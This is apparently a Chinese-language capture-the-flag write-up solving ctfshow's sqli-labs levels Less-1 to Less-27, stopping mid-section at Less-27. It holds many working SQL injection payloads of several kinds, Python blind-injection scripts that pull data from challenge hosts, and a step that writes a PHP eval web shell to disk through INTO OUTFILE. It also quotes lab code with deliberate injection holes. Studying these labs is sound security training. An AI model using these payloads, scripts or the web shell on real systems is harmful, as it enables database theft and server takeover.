sql-labs

web517 –Less-1

直接payload

1
2
3
4
?id=-1' order by 3--+
//order by 4就会出错,说明回显位有三个
?id=-1' union select 1,2,3--+
//回显23说明23为回显位

先浅浅爆个库

1
?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+


库用ctfshow的

爆表

1
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow'--+

爆字段

1
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flag'--+

爆值

1
?id=-1' union select 1,2,group_concat(flag) from flag--+


报错了,改为ctfshow库下的

1
?id--1' union select 1,2,group_concat(flag) from ctfshow.flag--+

web518 –Less-2

1
2
3
4
5
?id=1  正常
?id=1" 报错 ' " LIMIT 0,1 '
?id=1--+ 正常

判断是数字型注入

其余和上题相同

web519 –Less-3

1
2
3
4
5
6
7
?id=1  正常
?id=1" 正常
?id=2" 正常
?id=1"--+ 正常
?id=;/';[]' 报错 ' ;/';[]'') LIMIT 0,1 '

判断是字符型注入,闭合方式是')

其余同上

web520 –Less-4

经过这几题的测试发现输入?id=\报错能帮我们判断几乎全部的闭合方式,不确定是否为一特性

本题

1
?id=\


可判断闭合方式为\后的")
下面同上题

web521–布尔盲注GET –Less-5

还是的先输入一个参数?id=1
?id=\


闭合方式应该为’(单引号)
输入万能密码,发现没有过滤关键字符
当我们的语句返回为true时,页面回显You are in….
当我们的语句返回为false时,页面无回显

知识点是SQL盲注
附上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
import time

if __name__ == '__main__':
result = ''
i = 0
while True:
i = i + 1
low = 32
high = 127
while low < high:
mid = (low + high) // 2
# payload = f"1' and if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))>{mid},1,0)%23"
# payload = f"1'/**/and/**/if(ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='ctfshow'),{i},1))>{mid},1,0)%23"
# payload = f"1'/**/and/**/if(ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flagpuck'),{i},1))>{mid},1,0)%23"
payload = f"1'/**/and/**/if(ascii(substr((select/**/group_concat(id,0x7e,flag33)/**/from/**/ctfshow.flagpuck),{i},1))>{mid},1,0)%23"
# print(payload)
url = f"http://f0ac4a38-b9bb-4c13-95d8-c02b3fd00d30.challenge.ctf.show/?id={payload}"
# print(url)
# data={
# "":f"admin' and {payload}#",
#
# }
r = requests.get(url=url)
if 'You are in' in r.text:
low = mid + 1
time.sleep(0.1)
else:
high = mid
if low != 32:
result += chr(low)
print(result)
else:
break

flag

web522–布尔盲注GET –Less-6

和上题类似
输入id=\判断出闭合类型为”(双引号)

当输入语句为true回显you are in ,反之则不回显
附上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
import time

if __name__ == '__main__':
result = ''
i = 0
while True:
i = i + 1
low = 32
high = 127
while low < high:
mid = (low + high) // 2
# payload = f'1" and if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))>{mid},1,0)%23'
# payload = f'1"/**/and/**/if(ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema="ctfshow"),{i},1))>{mid},1,0)%23'
# payload = f'1"/**/and/**/if(ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name="flagpa"),{i},1))>{mid},1,0)%23'
payload = f'1"/**/and/**/if(ascii(substr((select/**/group_concat(id,0x7e,flag3a3)/**/from/**/ctfshow.flagpa),{i},1))>{mid},1,0)%23'
# print(payload)
url = f"http://6cae741a-a055-41e0-99f2-3e9e24eea343.challenge.ctf.show/?id={payload}"
# print(url)
# data={
# "":f"admin' and {payload}#",
#
# }
r = requests.get(url=url)
if 'You are in' in r.text:
low = mid + 1
time.sleep(0.1)
else:
high = mid
if low != 32:
result += chr(low)
print(result)
else:
break

web523 –SQL盲注 –基于文件写入注入 –Less-7

这题页面不会回显报错信息
网上看大多数wp都感觉很牵强,这怎么试出来
当输入?id=1”)) and 1–+与?id=1’)) and 1–+
结果是相同的
看看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
echo '<font color= "#FFFF00">';
echo 'You are in.... Use outfile......';
echo "<br>";
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
echo 'You have an error in your SQL syntax';
//print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}

可以看见闭合方式为’)),可能有的佬字典丰富爆出来的
报错函数被注释了,echo了一个字符串,解释了我们不能通过报错信息来获取闭合方式。
接下来就写脚本继续SQL盲注
脚本就不贴了~~懒

这题还有一个预期解,正常运行提示Use outfile,可以写入文件执行
ctfshow中这题貌似搞不了,我是在本地环境中运行的
在mysql安装目录下找到my.ini文件,在(mysqld)下添加secure_file_priv = ‘’

重启环境
写入我们的一句话木马

1
?id=1')) union select 1,0x3c3f706870206576616c28245f504f53545b2774657374275d293f3e,3 into outfile 'D:\\websafe\\phpstudy\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\haha.php'--+

可以看到Less-7目录下新建了一个haha.php,里面有我们的后门脚本

这里就完成了

web524 -布尔盲注GET–Less-8

这题和web521差不多,可以用同样的脚本
没啥毛病,就是别用#作为注释符就行了,用–+

web525 -时间盲注–Less-9

最讨厌时间盲注了,看了下源码,不管你输入什么回显都是一样的

脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import time
if __name__ == '__main__' :
url = "https://3776cd02-a7dd-404a-95bc-c1fc7acc3141.challenge.ctf.show/?id=1'%20and%20"
result = ''
i = 0
while True:
i = i + 1
low = 32
high = 127
while low < high:
mid = (low + high) // 2
payload = f'if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))>{mid},1,sleep(3))%23'
#payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="ctfshow"),{i},1))>{mid},1,sleep(2))%23'
#payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="flagugs"),{i},1))>{mid},1,sleep(2))%23'
# payload = f'if(ascii(substr((select group_concat(flag43s) from ctfshow.flagugs),{i},1))>{mid},1,sleep(2))%23'
# print(payload)
stime=time.time()
r = requests.get(url=url + payload)
if time.time()-stime<2:
low = mid + 1
else:
high = mid
if low != 32:
result += chr(low)
else:
break
print(result)

太费时了,懒得跑完,溜了

web526 -时间盲注–Less-10

这题和上一题类似

1
?id=1" and if(1=1,sleep(2),1)--+

测出是双引号闭合

在把上面的脚本改一下单引号闭合改为双引号闭合即可

同样懒得测

web527 -POST联合注入–Less-11

这个和get一样

1
2
3
4
5
6
7
8
9
10
11
12
爆库
passwd=1' union select 1,group_concat(schema_name) from information_schema.schemata#&submit=Submit&uname=1
//ctfshow,ctftraining,information_schema,mysql,performance_schema,security,test
爆表
passwd=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctfshow'#&submit=Submit&uname=1
//flagugsd
爆字段
passwd=1' union select 1,group_concat(column_name) from information_schema.columns where table_name='flagugsd'#&submit=Submit&uname=1
//id,flag43s
爆值
passwd=1' union select 1,group_concat(id,0x7e,flag43s) from ctfshow.flagugsd#&submit=Submit&uname=1
//1~ctfshow{f359ec9f-f0ec-43bf-958f-48a88293063e}

web528 -POST联合注入–Less-12

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
通过报错知道闭合为")
passwd=1&submit=Submit&uname=e"
回显位为两个
爆库
passwd=1&submit=Submit&uname=1") union select 1,group_concat(schema_name) from information_schema.schemata#
//ctfshow,ctftraining,information_schema,mysql,performance_schema,security,test
爆表
passwd=1&submit=Submit&uname=1") union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctfshow'#
//flagugsds
爆字段
passwd=1&submit=Submit&uname=1") union select 1,group_concat(column_name) from information_schema.columns where table_name='flagugsds'#
//id,flag43as
爆值
passwd=1&submit=Submit&uname=1") union select 1,group_concat(id,0x7e,flag43as) from ctfshow.flagugsds#
//1~ctfshow{22f52013-fb0b-40a3-b33f-0ab43b1821ed}

web529 -报错注入–Less-13

先了解一下报错注入函数,发现报错注入能利用的函数还是挺多的,这里了解两个常见的

extractvalue函数

这是一个对xml文件进行查询的函数,更准确地说,它是会从目标xml文件中返回所包含查询值地字符串,标准语法为

1
2
3
extractvalue('XML_document','Xpath_string')
//即
extractvalue('目标xml文件名','在xml中查询的字符串')

看的出来第二个参数要求的是Xpath格式的字符串,语法正确是会按照路径/该xml文件/要查询的字符串 进行查询,如果我们输入的Xpath_string不对就会报错,而如果页面回显sql报错信息就可以得到我们想要的信息了。

  • 此处的XML_document可以是任意

举个栗子
Xpath没问题的情况下

在1中查询不到database()的结果,但是也没有语法错误,所以不会报错

用concat函数拼接一个错误的Xpath让mysql报错得到包含查询值的字符串

修改database()部分可以爆表、列、值
值得注意的是,extractvalue函数一次只能查询32位长度

概念理解了,接下来就很好做了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
爆库
uname=-1') union select 1,(extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata))))--+&passwd=123456&submit=Submit
//~ctfshow,ctftraining,information
爆表
uname=-1') union select 1,(extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'))))--+&passwd=123456&submit=Submit
//flag
爆字段
uname=-1') union select 1,(extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'))))--+&passwd=123456&submit=Submit
//id,flag4
爆值
uname=-1') union select 1,(extractvalue(1,concat(0x7e,(select group_concat(id,0x7e,flag4) from ctfshow.flag))))--+&passwd=123456&submit=Submit
//ctfshow{94c24c86-5324-4cf6-91
可以看出就爆出了一半
这里可以倒着读
uname=-1') union select 1,(extractvalue(1,concat(0x7e,(select reverse(group_concat(id,0x7e,flag4)) from ctfshow.flag))))--+&passwd=123456&submit=Submit
//}b1ae427fbf72-1019-6fc4-4235-68
从右向左为正序所以另一半为86-5324-4cf6-9101-27fbf724ea1b}
也可以用substr来看后面的内容
uname=-1') union select 1,(extractvalue(1,concat(0x7e,substr((select group_concat(id,0x7e,flag4) from ctfshow.flag),20))))--+&passwd=123456&submit=Submit

updatexml函数

和extractvalue基本相同,是个修改xml文件的函数,标准语法为

1
2
3
updatexml('XML_document','Xpath_string','New_value')
//即
updatexml('目标xml文件名','在xml中查询的字符串','替换后的值')

搜着说高版本的mysql已经修复了该bug
示例

第二个0x7e可以略去,但是第二个1不可略去,会导致函数不完整的报错,同样的database()处可以填我们的语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
爆库
uname=1') and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1)#&passwd=pass&submit=Submit
//ctfshow,ctftraining,information
爆表
uname=1') and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),1,31),0x7e),1)#&passwd=pass&submit=Submit
//flag
爆字段
uname=1') and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='flag'),1,31),0x7e),1)#&passwd=pass&submit=Submit
//id,flag4
爆值
uname=1') and updatexml(1,concat(0x7e,substr((select group_concat(id,0x7e,flag4) from ctfshow.flag),1,31),0x7e),1)#&passwd=pass&submit=Submit
//ctfshow{15d64d74-0f35-46cc-a0
不全,调整下substr的值
uname=1') and updatexml(1,concat(0x7e,substr((select group_concat(id,0x7e,flag4) from ctfshow.flag),20,40),0x7e),1)#&passwd=pass&submit=Submit
//0f35-46cc-a0dd-94f67ae5c67b}

web530 -报错注入–Less-14

payload

1
2
3
passwd=1&submit=Submit&uname=1"
报错
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1" LIMIT 0,1' at line 1

双引号闭合
其他操作同上题

web531 -布尔盲注POST–Less-15

单引号闭合
用万能密码1’ and 1#不太行啊
要用admin’ and 1#就可以成功
把上面的GET型的布尔盲注脚本改一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
import time

if __name__ == '__main__':
result = ''
i = 0
while True:
i = i + 1
low = 32
high = 127
while low < high:
mid = (low + high) // 2
# payload = f"admin' and if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))>{mid},1,0)#"
# payload = f"admin'/**/and/**/if(ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='ctfshow'),{i},1))>{mid},1,0)#"
# payload = f"admin'/**/and/**/if(ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flagba'),{i},1))>{mid},1,0)#"
payload = f"admin'/**/and/**/if(ascii(substr((select/**/group_concat(id,0x7e,flag4sa)/**/from/**/ctfshow.flagba),{i},1))>{mid},1,0)#"
# print(payload)
url = f"https://1845c6be-4689-4215-8296-5ea7f97aed59.challenge.ctf.show/"
# print(url)
data={
"uname":f"{payload}",
"passwd":'1',
"submit":'Submit'
}
r = requests.post(url=url, data=data)
if '<img src="./images/flag.jpg" />' in r.text:
low = mid + 1
time.sleep(0.1)
else:
high = mid
if low != 32:
result += chr(low)
print(result)
else:
break

web532 -时间盲注POST–Less-16

用万能密码and sleep一下一下试,试出来闭合为”)
用上面GET的脚本改一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import time
if __name__ == '__main__' :
url = "https://18dcaf54-a668-400b-beb5-3bc1b2c30c0e.challenge.ctf.show/"
result = ''
i = 0
while True:
i = i + 1
low = 32
high = 127
while low < high:
mid = (low + high) // 2
# payload = f'admin") and if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))>{mid},1,sleep(3))#'
# payload = f'admin") and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="ctfshow"),{i},1))>{mid},1,sleep(2))#'
# payload = f'admin") and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="flagbab"),{i},1))>{mid},1,sleep(2))#'
payload = f'admin") and if(ascii(substr((select group_concat(flag4sa) from ctfshow.flagbab),{i},1))>{mid},1,sleep(2))#'
# print(payload)
stime=time.time()
data={
"uname":f"{payload}",
"passwd":1,
"submit":'Submit'
}

r = requests.post(url=url,data=data)
if time.time()-stime<2:
low = mid + 1
else:
high = mid
if low != 32:
result += chr(low)
else:
break
print(result)

web533 -报错注入–Less-17

这一关和前面的关有很大不一样,根据页面展示是一个密码重置页面,也就是说我们已经登录系统了,然后查看源码,是根据我们提供的账户名去数据库查看用户名和密码,如果账户名正确那么将密码改成你输入的密码。再执行这条sql语句之前会对输入的账户名进行检测 ,对输入的特殊字符转义。所以我们能够利用的只有更新密码的sql语句。sql语句之前都是查询,这里有一个update更新数据库里面信息。所以之前的联合注入和布尔盲注以及时间盲注都不能用。所以我们会用到报错注入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
function check_input($value)//检查输入的账户名
{
if(!empty($value))//如果账户名不为空进行以下判断
{
// truncation (see comments)
$value = substr($value,0,15);//截取账户名前15的字符
}

// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())//该函数的作用是给(' " / null)特殊字符加上反斜杠转义
{
$value = stripslashes($value);//删除反斜杠
}

// Quote if not a number
if (!ctype_digit($value))//uname字符串如果是非数字将其中特殊字符转义
{
$value = "'" . mysql_real_escape_string($value) . "'";
}

else//如果是数字
{
$value = intval($value);//变为整数
}
return $value;
}

// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))

{
//making sure uname is not injectable
$uname=check_input($_POST['uname']);

$passwd=$_POST['passwd'];


//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname."\n");
fwrite($fp,'New Password:'.$passwd."\n");
fclose($fp);


// connectivity
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";

$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
if($row)
{
//echo '<font color= "#0000ff">';
$row1 = $row['username'];
//echo 'Your Login name:'. $row1;
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
mysql_query($update);
echo "<br>";

这里的报错选择extractvalue()报错注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
爆库
passwd=admin' and (extractvalue(1,concat(0x5c,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x5c)))# &submit=Submit&uname=admin
//ctfshow,ctftraining,information
爆表
passwd=admin' and (extractvalue(1,concat(0x5c,substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),1,31),0x5c)))# &submit=Submit&uname=admin
//flag
爆字段
passwd=admin' and (extractvalue(1,concat(0x5c,substr((select group_concat(column_name) from information_schema.columns where table_name='flag'),1,31),0x5c)))# &submit=Submit&uname=admin
//id,flag4
爆值
passwd=admin' and (extractvalue(1,concat(0x5c,substr((select group_concat(id,0x7e,flag4) from ctfshow.flag),1,31),0x5c)))# &submit=Submit&uname=admin
//1~ctfshow{2bb496a0-6eef-42d6-ba
passwd=admin' and (extractvalue(1,concat(0x5c,substr((select group_concat(id,0x7e,flag4) from ctfshow.flag),30,50),0x5c)))# &submit=Submit&uname=admin
//baf3-fb81b33a66b8}

web534 -报错注入-UA头注入-Less-18

这关的页面多了个ip,看一下源码,发现对于输入的账户名和密码都有检查,但往下看会发现一个插入的sql语句,当我们输入正确的账户名和密码我们的User-Agent字段内容就会出现在页面上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);
//echo 'Your IP ADDRESS is: ' .$IP;
echo "</font>";
//echo "<br>";
echo '<font color= "#0000ff" font size = 3 >';
echo 'Your User Agent is: ' .$uagent;
echo "</font>";
echo "<br>";
print_r(mysql_error());
echo "<br><br>";
echo '<img src="../images/flag.jpg" />';
echo "<br>";

}
else
{
echo '<font color= "#0000ff" font size="3">';
//echo "Try again looser";
print_r(mysql_error());
echo "</br>";
echo "</br>";
echo '<img src="../images/slap.jpg" />';
echo "</font>";
}

}

当我们在User-Agent后面加上单引号出现如下报错,可见插入语句是将UA字段内容和IP地址以及账户名作为字符串进行插入且外面有括号。还要注意该插入语句需要三个参数,所以我们在构造时候也需要有三个参数。因为#后面都被注释了。

所以我们可以构造如下数据,页面显示正常。可以将其它参数换成sql语句进行报错注入

爆库

爆表

爆字段

爆值

web535 -报错注入-Referer头注入-Less-19

和上题差不多,输入正确的账户密码,这回显示的是Referer的信息,先看看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
mysql_query($insert);
//echo 'Your IP ADDRESS is: ' .$IP;
echo "</font>";
//echo "<br>";
echo '<font color= "#0000ff" font size = 3 >';
echo 'Your Referer is: ' .$uagent;
echo "</font>";
echo "<br>";
print_r(mysql_error());
echo "<br><br>";
echo '<img src="../images/flag.jpg" />';
echo "<br>";

}
else
{
echo '<font color= "#0000ff" font size="3">';
//echo "Try again looser";
print_r(mysql_error());
echo "</br>";
echo "</br>";
echo '<img src="../images/slap.jpg" />';
echo "</font>";
}

}


在referer头后面加一个单引号,报错求出闭合方式

下面的步骤和上一题类似
直接贴爆值的图

web536 -报错注入-COOKIE注入-Less-20

当我们输入正确账户密码时cookies会显示在页面上,页面跳转是通过if语句实现的
关键源码,当我们输入正确账户密码就有cookie值了,抓第二个包

报错注入

web537 -报错注入-COOKIE注入-Less-21

这一题比上一题多了个base64编码,把sql语句base64编码即可

web538 -报错注入-COOKIE注入-Less-22

同样的COOKIE注入
这一题闭合方式变为双引号而已

1
2
admin" and updatexml (1,concat(0x5c,substr((select group_concat(flag4) from ctfshow.flag),30,70),0x5c),1)#
YWRtaW4iIGFuZCB1cGRhdGV4bWwgKDEsY29uY2F0KDB4NWMsc3Vic3RyKChzZWxlY3QgZ3JvdXBfY29uY2F0KGZsYWc0KSBmcm9tIGN0ZnNob3cuZmxhZyksMzAsNzApLDB4NWMpLDEpIw==

web539 -过滤注释符-GET-Less-23

第二十三关重新回到GET请求,输入id=\,报错出闭合为单引号,但是输入万能密码还是报错
盲猜注释符被过滤🤣,所以这里我们可以利用单引号来闭合,之后使用联合注入

看到回显位为1,2,在里面联合注入即可
payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
爆回显位
?id=-1' union select 1,2,3 and '1''
爆库
?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 and '1''
//ctfshow,ctftraining,information_schema,mysql,performance_schema,security,test
爆表
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),3 and '1''
//flag
爆字段
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='flag'),3 and '1''
//id,flag4
爆值
?id=-1' union select 1,(select group_concat(flag4) from ctfshow.flag),3 and '1''
//ctfshow{c7e591c1-ebf4-456a-940c-8572707647bf}

web540 -二次注入-POST-Less-24

本关有注册、登录、忘记密码等界面

使用dumb/dumb可以登录一下,登录成功后跳转到了修改密码界面

尝试注册一个用户名为admin的用户,但是提示用户名已经存在了

二次注入:

二次排序注入也叫做存储型的注入,就是将可能导致sql注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以触发sql注入。

二次排序注入思路:

  1. 黑客通过构造数据的形式,在浏览器或者其他软件中提交HTTP数据报文请求到服务端进行处理,提交的数据报文请求中可能包含了黑客构造的sql语句或者命令。

  2. 服务端应用程序会将黑客提交的数据信息进行存储,通常是保存在数据库中,保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。

  3. 黑客向服务端发送第二个与第一次不相同的请求数据信息。

  4. 服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的sql语句或者命令在服务端环境中执行。

  5. 服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注入漏洞利用是否成功。

题中我们的步骤是:

  1. 注册一个admin’#的账号,密码是123123

  2. 接下来登录该账号后进行修改密码,修改为11111
    修改密码时,数据库内更新数据语句:(pass_change.php)

    1
    $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

    带入数据就是

    1
    $sql = "UPDATE users SET PASSWORD='11111' where username='admin' #' and password='admin原来的密码' ";

    单引号是为了闭合用户名,使改变的为admin,#是为了注释后面的数据。此时修改的就是admin的密码。

  3. 此时logout,登录admin,密码为刚才修改的11111

    虽然说我们有了admin的权限,但是我们并不能获取flag
    这题flag在数据库里面,要得到flag需要盲注
    这里是大佬写的二次注入脚本

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    # -- coding:UTF-8 --
    # Author:孤桜懶契
    # Date:2021/8/10
    # blog: gylq.gitee.io

    import requests
    import time


    flag = ""
    #*************************************************************************************************************************************************************
    #--------查库名
    #sql="select group_concat(schema_name) from information_schema.schemata"
    #--------查表
    #sql= "select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'"
    #--------查字段
    #sql= "select group_concat(column_name) from information_schema.columns where table_schema='ctfshow' and table_name='flag'"
    #--------查flag
    sql= "select flag4 from ctfshow.flag"
    #*************************************************************************************************************************************************************
    payload = "admin' and if(ascii(substr(({}),{},1))>'{}',sleep(0.4),0)#"
    i = 0

    session = requests.session()
    for i in range(1,666):
    head = 32
    tail = 127

    while head < tail:
    mid = (head+tail) >> 1
    url_register = "http://08fa48c9-0e53-4eec-8fa2-01e851961687.challenge.ctf.show:8080/login_create.php"
    data = {
    'username' : payload.format(sql,i,mid),
    'password' : '22',
    're_password' : '22',
    'submit' : 'Register'
    }
    res = session.post(url=url_register,data=data)


    url_login = "http://08fa48c9-0e53-4eec-8fa2-01e851961687.challenge.ctf.show:8080/login.php"
    data = {
    'login_user' : payload.format(sql,i,mid),
    'login_password' : '22',
    'mysubmit' : 'Login'
    }
    res = session.post(url=url_login, data=data)

    url_change = "http://08fa48c9-0e53-4eec-8fa2-01e851961687.challenge.ctf.show:8080/pass_change.php"
    data = {
    'current_password' : '22',
    'password' : '1',
    're_password' : '1',
    'submit' : 'Reset'
    }
    start = time.time()
    res = session.post(url=url_change, data=data)
    end = time.time()
    print(end - start)
    if end-start > 0.4 and end-start < 1:
    head = mid + 1
    else:
    tail = mid
    if head != 32:
    print('[*] 开始盲注第{}位'.format(i))
    flag += chr(tail)
    print(flag)
    else:
    print('[*] Complete! Result Is >>> {}'.format(flag))
    break

web541 -过滤and和or-GET-Less-25

简单的,通过双写绕过即可

1
2
3
4
5
6
7
8
爆库
?id=-1' union select 1,group_concat(schema_name),3 from infoorrmation_schema.schemata--+
爆表
?id=-1' union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema='ctfshow'--+
爆字段
?id=-1' union select 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_name='flags'--+
爆值
?id=-1' union select 1,group_concat(id,0x7e,flag4s),3 from ctfshow.flags--+

web542 -过滤and和or-GET-整数型-Less-25a

和上题一样,只不过是整数型不必闭合,有些错误不会爆,其余都一样

web543 -过滤and、or、空格、注释符-Less-26

首先题目界面告诉了过滤了空格

源码黑名单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function blacklist($id)
{
//过滤替换or
$id= preg_replace('/or/i',"", $id);
//过滤替换and
$id= preg_replace('/and/i',"", $id);
//过滤替换/*
$id= preg_replace('/[\/\*]/',"", $id);
//过滤替换-- (注释符一部分)
$id= preg_replace('/[--]/',"", $id);
//过滤替换# (注释符)
$id= preg_replace('/[#]/',"", $id);
//过滤替换\s
//\s: 匹配一个空格符 等价于【\n\r\f\v\t】
$id= preg_replace('/[\s]/',"", $id);
//过滤替换 /\
$id= preg_replace('/[\/\\\\]/',"", $id);
return $id;
}

常规代替空格的字符

1
2
3
4
5
6
%09 TAB 键(水平)
%0a 新建一行
%0b TAB 键(垂直)
%0c 新的一页
%0d return 功能
%a0 空格

基本把所有可替代空格的都过滤了,但是空格的作用还可以用括号代替
再测一下闭合和回显位,这里有一个不常用的注释符;%00

1
2
3
4
5
6
7
8
9
10
?id=1'anandd'1'='1         回显正常
?id=1';%00 回显正常
?id=1';%00--+ 报错

闭合是单引号
----------------------------
?id=1'union(select(1));%00 报错
?id=1'union(select(1),(2));%00 报错
?id=1'union(select(1),(2),(3));%00 回显正常

这题用括号代替空格+报错注入
payload

1
2
3
4
5
//顺序读取
?id=1'||updatexml(1,concat(0x3d,(select(group_concat(flag4s))from(ctfshow.flags))),3)||'1'='1

//逆序读取
?id=1'||updatexml(1,concat(0x3d,(select(reverse(group_concat(flag4s)))from(ctfshow.flags))),3)||'1'='1

web544 -过滤and、or、空格、注释符-布尔盲注-Less-26a

与上一关不同的是,不显示具体报错了,导致无法使用报错注入
闭合为’)直接上布尔盲注脚本吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests

url = "https://db378767-c46a-43fe-b9fa-22579d5a808a.challenge.ctf.show/"

result = ''
i = 0

while True:
i = i + 1
head = 32
tail = 127

while head < tail:
mid = (head + tail) >> 1
# payload = f'if(ascii(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema="ctfshow")),{i},1))>{mid},1,0)'
# payload = f'if(ascii(substr((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema="ctfshow")),{i},1))>{mid},1,0)%23'
payload = f'if(ascii(substr((select(group_concat(flag4s))from(ctfshow.flags)),{i},1))>{mid},1,0)%23'
data = {
'id': f"100')||{payload}||('0"
}
r = requests.get(url,params=data)
if "Dumb" in r.text:
head = mid + 1
else:
tail = mid

if head != 32:
result += chr(head)
else:
break
print(result)


web545 -再过滤select和union-Less-27

本题在之前的基础上再过滤了union和select

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
